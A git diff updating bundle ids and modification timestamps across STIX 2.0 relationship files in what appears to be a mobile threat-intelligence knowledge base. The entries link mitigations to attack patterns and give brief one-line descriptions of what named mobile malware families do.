@@ -8,7 +8,7 @@
             "id": "relationship--c5b80ca7-eceb-43ea-991e-10af5d9ca4bc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--d9e88203-2b5d-405f-a406-2933b1e3d7e4",
diff --git a/mobile-attack/relationship/relationship--c5d6fb25-1782-44c4-b3ae-0cd72e8a6d37.json b/mobile-attack/relationship/relationship--c5d6fb25-1782-44c4-b3ae-0cd72e8a6d37.json
index 1845e56f9b..a5215fc0a6 100644
--- a/mobile-attack/relationship/relationship--c5d6fb25-1782-44c4-b3ae-0cd72e8a6d37.json
+++ b/mobile-attack/relationship/relationship--c5d6fb25-1782-44c4-b3ae-0cd72e8a6d37.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--88367fac-dea0-4b03-a639-f7d0af922bb9",
+    "id": "bundle--7eb4c36f-0b51-4bc1-8a74-2d5da2aa9a10",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c5d6fb25-1782-44c4-b3ae-0cd72e8a6d37",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "\"YiSpecter's malicious apps were signed with three iOS enterprise certificates issued by Apple so that they can be installed as enterprise apps on non-jailbroken iOS devices.\"",
             "source_ref": "malware--a15c9357-2be0-4836-beec-594f28b9b4a9",
diff --git a/mobile-attack/relationship/relationship--c65661a6-6047-4901-ac2c-3ca4b1bbbb28.json b/mobile-attack/relationship/relationship--c65661a6-6047-4901-ac2c-3ca4b1bbbb28.json
index 9838a75ccf..324d14387a 100644
--- a/mobile-attack/relationship/relationship--c65661a6-6047-4901-ac2c-3ca4b1bbbb28.json
+++ b/mobile-attack/relationship/relationship--c65661a6-6047-4901-ac2c-3ca4b1bbbb28.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--852a68ed-0216-4e8e-8f72-16a8fe797407",
+    "id": "bundle--566c45ca-d0fb-4b36-832b-f39e29d1b31a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c65661a6-6047-4901-ac2c-3ca4b1bbbb28",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "DroidJack RAT captures \"call data\".",
             "source_ref": "malware--05c4f87c-be8f-46ea-8d9a-2a0aad8f52c1",
diff --git a/mobile-attack/relationship/relationship--c761ed82-24cc-4c40-94ef-c4d0f4d1cd7a.json b/mobile-attack/relationship/relationship--c761ed82-24cc-4c40-94ef-c4d0f4d1cd7a.json
index 23ff2fb8fd..4d977d9cd0 100644
--- a/mobile-attack/relationship/relationship--c761ed82-24cc-4c40-94ef-c4d0f4d1cd7a.json
+++ b/mobile-attack/relationship/relationship--c761ed82-24cc-4c40-94ef-c4d0f4d1cd7a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--659cb4b7-41d9-44dd-aa18-2a77691f42f9",
+    "id": "bundle--7ccbf1f6-b2b0-41d2-a55c-45ff9ff03f97",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c761ed82-24cc-4c40-94ef-c4d0f4d1cd7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.739Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--29e07491-8947-43a3-8d4e-9a787c45f3d3",
diff --git a/mobile-attack/relationship/relationship--c83c84e8-a556-4efe-ae24-75970ee8ad4b.json b/mobile-attack/relationship/relationship--c83c84e8-a556-4efe-ae24-75970ee8ad4b.json
index 17b827c66d..059c1714f2 100644
--- a/mobile-attack/relationship/relationship--c83c84e8-a556-4efe-ae24-75970ee8ad4b.json
+++ b/mobile-attack/relationship/relationship--c83c84e8-a556-4efe-ae24-75970ee8ad4b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d3ce3bd5-6c09-407b-99b7-5c7673c62dc9",
+    "id": "bundle--04a8c131-0441-445e-babb-1919608fb69e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--c83c84e8-a556-4efe-ae24-75970ee8ad4b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups used SMS to receive command and control messages.",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--ca7c3278-1d12-4e55-b320-39efa5a285db.json b/mobile-attack/relationship/relationship--ca7c3278-1d12-4e55-b320-39efa5a285db.json
index f53165e865..9c1477e4ac 100644
--- a/mobile-attack/relationship/relationship--ca7c3278-1d12-4e55-b320-39efa5a285db.json
+++ b/mobile-attack/relationship/relationship--ca7c3278-1d12-4e55-b320-39efa5a285db.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--40eac9d1-ffa6-4d71-98bd-3497709a4068",
+    "id": "bundle--63b7679d-d3ea-4091-b492-3a3fc650bcc2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ca7c3278-1d12-4e55-b320-39efa5a285db",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.734Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--c91c304a-975d-4501-9789-0db1c57afd3f",
diff --git a/mobile-attack/relationship/relationship--cda9f3cf-01e4-41b3-8e45-4dda9fe5eb30.json b/mobile-attack/relationship/relationship--cda9f3cf-01e4-41b3-8e45-4dda9fe5eb30.json
index 7911b0b2c8..bbe3002f6f 100644
--- a/mobile-attack/relationship/relationship--cda9f3cf-01e4-41b3-8e45-4dda9fe5eb30.json
+++ b/mobile-attack/relationship/relationship--cda9f3cf-01e4-41b3-8e45-4dda9fe5eb30.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1c62484-11e8-4b83-9b4f-1a51d24f7a6a",
+    "id": "bundle--d704ee34-9e93-437e-a9bb-71ee0c2fb025",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cda9f3cf-01e4-41b3-8e45-4dda9fe5eb30",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.741Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3",
diff --git a/mobile-attack/relationship/relationship--cdb1ed75-d8a5-4088-b282-0b85588bbc8c.json b/mobile-attack/relationship/relationship--cdb1ed75-d8a5-4088-b282-0b85588bbc8c.json
index 9f9f1dc97a..40627c781d 100644
--- a/mobile-attack/relationship/relationship--cdb1ed75-d8a5-4088-b282-0b85588bbc8c.json
+++ b/mobile-attack/relationship/relationship--cdb1ed75-d8a5-4088-b282-0b85588bbc8c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--79c85584-6b90-45b2-8a16-10d9a6fc8d4b",
+    "id": "bundle--2c897b1c-85b5-4249-b022-48852c11125b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cdb1ed75-d8a5-4088-b282-0b85588bbc8c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--649f7268-4c12-483b-ac84-4b7bca9fe2ee",
             "target_ref": "attack-pattern--6b846ad0-cc20-4db6-aa34-91561397c5e2",
diff --git a/mobile-attack/relationship/relationship--ce6c7f21-91a5-4d63-bd03-a6b57e025afe.json b/mobile-attack/relationship/relationship--ce6c7f21-91a5-4d63-bd03-a6b57e025afe.json
index c01ba970de..639f1933cc 100644
--- a/mobile-attack/relationship/relationship--ce6c7f21-91a5-4d63-bd03-a6b57e025afe.json
+++ b/mobile-attack/relationship/relationship--ce6c7f21-91a5-4d63-bd03-a6b57e025afe.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f224f046-1770-4580-aef7-9cfd5f24f1fd",
+    "id": "bundle--d4f0026d-e7f4-4d12-8d14-37f26fb9cb46",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ce6c7f21-91a5-4d63-bd03-a6b57e025afe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.746Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8ccd428d-39da-4e8f-a55b-d48ea1d56e58",
             "target_ref": "attack-pattern--46d818a5-67fa-4585-a7fc-ecf15376c8d5",
diff --git a/mobile-attack/relationship/relationship--cfa1d194-7401-46ba-bfed-5f311aeb22d3.json b/mobile-attack/relationship/relationship--cfa1d194-7401-46ba-bfed-5f311aeb22d3.json
index 5a7b672536..223b4e6939 100644
--- a/mobile-attack/relationship/relationship--cfa1d194-7401-46ba-bfed-5f311aeb22d3.json
+++ b/mobile-attack/relationship/relationship--cfa1d194-7401-46ba-bfed-5f311aeb22d3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dd073c38-a248-474e-bc00-688fe0b690c2",
+    "id": "bundle--75c8a2a7-9ca5-48c3-8b70-bc03053c7046",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--cfa1d194-7401-46ba-bfed-5f311aeb22d3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The Android/Chuli.A malicious application sent to activist groups stole contact list data \"stored both on the the phone and the SIM card\".",
             "source_ref": "malware--d05f7357-4cbe-47ea-bf83-b8604226d533",
diff --git a/mobile-attack/relationship/relationship--d22dc053-24a7-4a5b-ae51-8a626569ec9b.json b/mobile-attack/relationship/relationship--d22dc053-24a7-4a5b-ae51-8a626569ec9b.json
index fcc2cbe57f..b77184e813 100644
--- a/mobile-attack/relationship/relationship--d22dc053-24a7-4a5b-ae51-8a626569ec9b.json
+++ b/mobile-attack/relationship/relationship--d22dc053-24a7-4a5b-ae51-8a626569ec9b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2b274a66-f4f5-4ffe-b429-f4826834b89c",
+    "id": "bundle--f505a58f-340b-4d60-8774-673dd911a216",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d22dc053-24a7-4a5b-ae51-8a626569ec9b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.737Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4",
diff --git a/mobile-attack/relationship/relationship--d54bdaff-8eb8-4a02-9f64-bc33c892e9d1.json b/mobile-attack/relationship/relationship--d54bdaff-8eb8-4a02-9f64-bc33c892e9d1.json
index c8183b0606..ad79a98a11 100644
--- a/mobile-attack/relationship/relationship--d54bdaff-8eb8-4a02-9f64-bc33c892e9d1.json
+++ b/mobile-attack/relationship/relationship--d54bdaff-8eb8-4a02-9f64-bc33c892e9d1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2f1eea1b-dfcb-44c7-858e-122658322374",
+    "id": "bundle--4a08efdb-0fcd-424e-ac4f-7eb96a6e93a4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d54bdaff-8eb8-4a02-9f64-bc33c892e9d1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ZergHelper tries \"to extend its capabilities via dynamic updating of its code, which could further bypass iOS security restrictions.\"",
             "source_ref": "malware--3c3b55a6-c3e9-4043-8aae-283fe96220c0",
diff --git a/mobile-attack/relationship/relationship--d6930d98-f8a2-4556-baa4-95275d3fa23d.json b/mobile-attack/relationship/relationship--d6930d98-f8a2-4556-baa4-95275d3fa23d.json
index 8627925136..499a529540 100644
--- a/mobile-attack/relationship/relationship--d6930d98-f8a2-4556-baa4-95275d3fa23d.json
+++ b/mobile-attack/relationship/relationship--d6930d98-f8a2-4556-baa4-95275d3fa23d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bc8fa2f8-f5c7-4c06-92c2-eaac658e631c",
+    "id": "bundle--513b9344-11c0-4028-a9a2-9713735ef0a2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d6930d98-f8a2-4556-baa4-95275d3fa23d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.735Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--8f0e39c6-82c9-41ec-9f93-5696c0f2e274",
diff --git a/mobile-attack/relationship/relationship--d792bffd-6745-4da6-a70f-2d5843ef05ca.json b/mobile-attack/relationship/relationship--d792bffd-6745-4da6-a70f-2d5843ef05ca.json
index 635bb928de..44aaedcfa4 100644
--- a/mobile-attack/relationship/relationship--d792bffd-6745-4da6-a70f-2d5843ef05ca.json
+++ b/mobile-attack/relationship/relationship--d792bffd-6745-4da6-a70f-2d5843ef05ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5a96c6dd-dc1f-4cb6-a4e6-4317df2b9acb",
+    "id": "bundle--51940ae0-67a8-41f2-a5a4-3d42a5d6a37b",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d792bffd-6745-4da6-a70f-2d5843ef05ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Adups is pre-installed on Android devices from some vendors.",
             "source_ref": "malware--f6ac21b6-2592-400c-8472-10d0e2f1bfaf",
diff --git a/mobile-attack/relationship/relationship--d7ae7fb1-c363-4969-a4af-e2dd44a3c064.json b/mobile-attack/relationship/relationship--d7ae7fb1-c363-4969-a4af-e2dd44a3c064.json
index 4084f51c66..ec40592f1f 100644
--- a/mobile-attack/relationship/relationship--d7ae7fb1-c363-4969-a4af-e2dd44a3c064.json
+++ b/mobile-attack/relationship/relationship--d7ae7fb1-c363-4969-a4af-e2dd44a3c064.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--efecd88c-f17a-43a3-84e1-30c7cd998cba",
+    "id": "bundle--a7784657-5665-4cbc-b0aa-16f1fc283753",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d7ae7fb1-c363-4969-a4af-e2dd44a3c064",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android attempts to modify the device's system partition.",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--d87b468e-f610-4e95-8dfb-8cf029f0e891.json b/mobile-attack/relationship/relationship--d87b468e-f610-4e95-8dfb-8cf029f0e891.json
index 8c11c1a3d7..d3b639659f 100644
--- a/mobile-attack/relationship/relationship--d87b468e-f610-4e95-8dfb-8cf029f0e891.json
+++ b/mobile-attack/relationship/relationship--d87b468e-f610-4e95-8dfb-8cf029f0e891.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--22650b56-3c0e-4dfd-8c31-7739625ed078",
+    "id": "bundle--9ffabab1-6bc0-419f-b420-bcef5d46ee2c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d87b468e-f610-4e95-8dfb-8cf029f0e891",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "HummingBad can \"silently root a large percentage of the phones it infects by exploiting vulnerabilities that remain unfixed in older versions of Android.\"",
             "source_ref": "malware--c8770c81-c29f-40d2-a140-38544206b2b4",
diff --git a/mobile-attack/relationship/relationship--d98a030f-c551-4fd0-9948-32e1ea01f79c.json b/mobile-attack/relationship/relationship--d98a030f-c551-4fd0-9948-32e1ea01f79c.json
index 285202175f..9adcc4e30e 100644
--- a/mobile-attack/relationship/relationship--d98a030f-c551-4fd0-9948-32e1ea01f79c.json
+++ b/mobile-attack/relationship/relationship--d98a030f-c551-4fd0-9948-32e1ea01f79c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b5a85293-f9b4-48e0-ad1b-5c94a236c3fa",
+    "id": "bundle--4cf6034f-e166-4abc-a4be-db4174b18be7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--d98a030f-c551-4fd0-9948-32e1ea01f79c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--bcecd036-f40e-4916-9f8e-fd0ccf0ece8d",
             "target_ref": "attack-pattern--fd339382-bfec-4bf0-8d47-1caedc9e7e57",
diff --git a/mobile-attack/relationship/relationship--da4296d7-5fdb-45b6-9791-b023d634c08d.json b/mobile-attack/relationship/relationship--da4296d7-5fdb-45b6-9791-b023d634c08d.json
index 6ffe198caa..9eb8b29ae6 100644
--- a/mobile-attack/relationship/relationship--da4296d7-5fdb-45b6-9791-b023d634c08d.json
+++ b/mobile-attack/relationship/relationship--da4296d7-5fdb-45b6-9791-b023d634c08d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3c2a2a73-74bb-47a7-ad2f-2c5b751d9562",
+    "id": "bundle--b33d17c4-6ff4-4dde-a4b0-13faf383916a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--da4296d7-5fdb-45b6-9791-b023d634c08d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RCSAndroid can \"[r]ecord location\".",
             "source_ref": "malware--363bc05d-13cb-4e98-a5b7-e250f2bbdc2b",
diff --git a/mobile-attack/relationship/relationship--db3fc82d-d353-438d-aa5e-9b5e7e60f0ac.json b/mobile-attack/relationship/relationship--db3fc82d-d353-438d-aa5e-9b5e7e60f0ac.json
index 00e2401a60..b5e8291a96 100644
--- a/mobile-attack/relationship/relationship--db3fc82d-d353-438d-aa5e-9b5e7e60f0ac.json
+++ b/mobile-attack/relationship/relationship--db3fc82d-d353-438d-aa5e-9b5e7e60f0ac.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a96e76a5-56a4-4d3f-a573-695bfcff1853",
+    "id": "bundle--2155da0a-b733-4725-97ce-a74aee71a10e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--db3fc82d-d353-438d-aa5e-9b5e7e60f0ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Pegasus for Android \"checks if the device is on Wi-Fi, a cellular network, and/or is roaming.\".",
             "source_ref": "malware--93799a9d-3537-43d8-b6f4-17215de1657c",
diff --git a/mobile-attack/relationship/relationship--dc6eb5d7-acef-4eb4-bece-4e8c90c914dc.json b/mobile-attack/relationship/relationship--dc6eb5d7-acef-4eb4-bece-4e8c90c914dc.json
index 013fc5de5e..4395a2b784 100644
--- a/mobile-attack/relationship/relationship--dc6eb5d7-acef-4eb4-bece-4e8c90c914dc.json
+++ b/mobile-attack/relationship/relationship--dc6eb5d7-acef-4eb4-bece-4e8c90c914dc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2f38c1db-6a31-4a3c-adee-b67d12854646",
+    "id": "bundle--7f669d9c-7209-4a72-94e8-183264477a24",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dc6eb5d7-acef-4eb4-bece-4e8c90c914dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.733Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8220b57e-c400-4525-bf69-f8edc6b389a8",
             "target_ref": "attack-pattern--fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d",
diff --git a/mobile-attack/relationship/relationship--de1b1f92-c060-4d8c-81bf-465b7fb21be4.json b/mobile-attack/relationship/relationship--de1b1f92-c060-4d8c-81bf-465b7fb21be4.json
index 3c1637e553..0f37a628cb 100644
--- a/mobile-attack/relationship/relationship--de1b1f92-c060-4d8c-81bf-465b7fb21be4.json
+++ b/mobile-attack/relationship/relationship--de1b1f92-c060-4d8c-81bf-465b7fb21be4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--94ccc610-016f-4949-ac1a-c73a1a984499",
+    "id": "bundle--204ddffe-e6ab-4828-bd0b-9a6c2dcf833c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--de1b1f92-c060-4d8c-81bf-465b7fb21be4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--dd818ea5-adf5-41c7-93b5-f3b839a219fb",
diff --git a/mobile-attack/relationship/relationship--dfc1f490-f8b9-4287-8c79-652d42f0a64a.json b/mobile-attack/relationship/relationship--dfc1f490-f8b9-4287-8c79-652d42f0a64a.json
index 1df113f18e..efccf53159 100644
--- a/mobile-attack/relationship/relationship--dfc1f490-f8b9-4287-8c79-652d42f0a64a.json
+++ b/mobile-attack/relationship/relationship--dfc1f490-f8b9-4287-8c79-652d42f0a64a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9889a900-6651-4845-b39a-44494cc90377",
+    "id": "bundle--83cf1907-70fb-498d-b066-18b91f009406",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--dfc1f490-f8b9-4287-8c79-652d42f0a64a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.747Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--0beabf44-e8d8-4ae4-9122-ef56369a2564",
             "target_ref": "attack-pattern--3dd58c80-4c2e-458c-9503-1b2cd273c4d2",
diff --git a/mobile-attack/relationship/relationship--e0ebf0cd-9244-4cef-9171-128a12b87b58.json b/mobile-attack/relationship/relationship--e0ebf0cd-9244-4cef-9171-128a12b87b58.json
index a1c0a995b0..25d980caca 100644
--- a/mobile-attack/relationship/relationship--e0ebf0cd-9244-4cef-9171-128a12b87b58.json
+++ b/mobile-attack/relationship/relationship--e0ebf0cd-9244-4cef-9171-128a12b87b58.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e2ca6a00-1bf5-46c8-913f-a53042f3f4db",
+    "id": "bundle--d28c57b0-3fae-4669-b259-81d598efb21c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e0ebf0cd-9244-4cef-9171-128a12b87b58",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SpyNote RAT can read SMS messages.",
             "source_ref": "malware--20dbaf05-59b8-4dc6-8777-0b17f4553a23",
diff --git a/mobile-attack/relationship/relationship--e183af70-44d5-4d56-9aad-753eb4c1c964.json b/mobile-attack/relationship/relationship--e183af70-44d5-4d56-9aad-753eb4c1c964.json
index e490ebf286..6ce724b285 100644
--- a/mobile-attack/relationship/relationship--e183af70-44d5-4d56-9aad-753eb4c1c964.json
+++ b/mobile-attack/relationship/relationship--e183af70-44d5-4d56-9aad-753eb4c1c964.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--866b02ac-9d6f-46da-a1e1-f2d4fe6cf8a7",
+    "id": "bundle--b2bfae2e-6fc5-4f52-b969-175e696a88fe",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e183af70-44d5-4d56-9aad-753eb4c1c964",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-10-25T14:48:53.736Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1553b156-6767-47f7-9eb4-2a692505666d",
             "target_ref": "attack-pattern--4e6620ac-c30c-4f6d-918e-fa20cae7c1ce",
diff --git a/mobile-attack/relationship/relationship--e2ee6825-43c2-441f-ba96-404a330a9059.json b/mobile-attack/relationship/relationship--e2ee6825-43c2-441f-ba96-404a330a9059.json
index ded147e028..065bec112b 100644
--- a/mobile-attack/relationship/relationship--e2ee6825-43c2-441f-ba96-404a330a9059.json
+++ b/mobile-attack/relationship/relationship--e2ee6825-43c2-441f-ba96-404a330a9059.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f92347e6-81e2-4d6d-af11-36adc934869b",
+    "id": "bundle--a6340f6d-7489-4515-9fcd-09f63b740edb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--e2ee6825-43c2-441f-ba96-404a330a9059",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Charger \"steals contacts...from the user's device\".",
             "source_ref": "malware--d1c600f8-0fb6-4367-921b-85b71947d950",
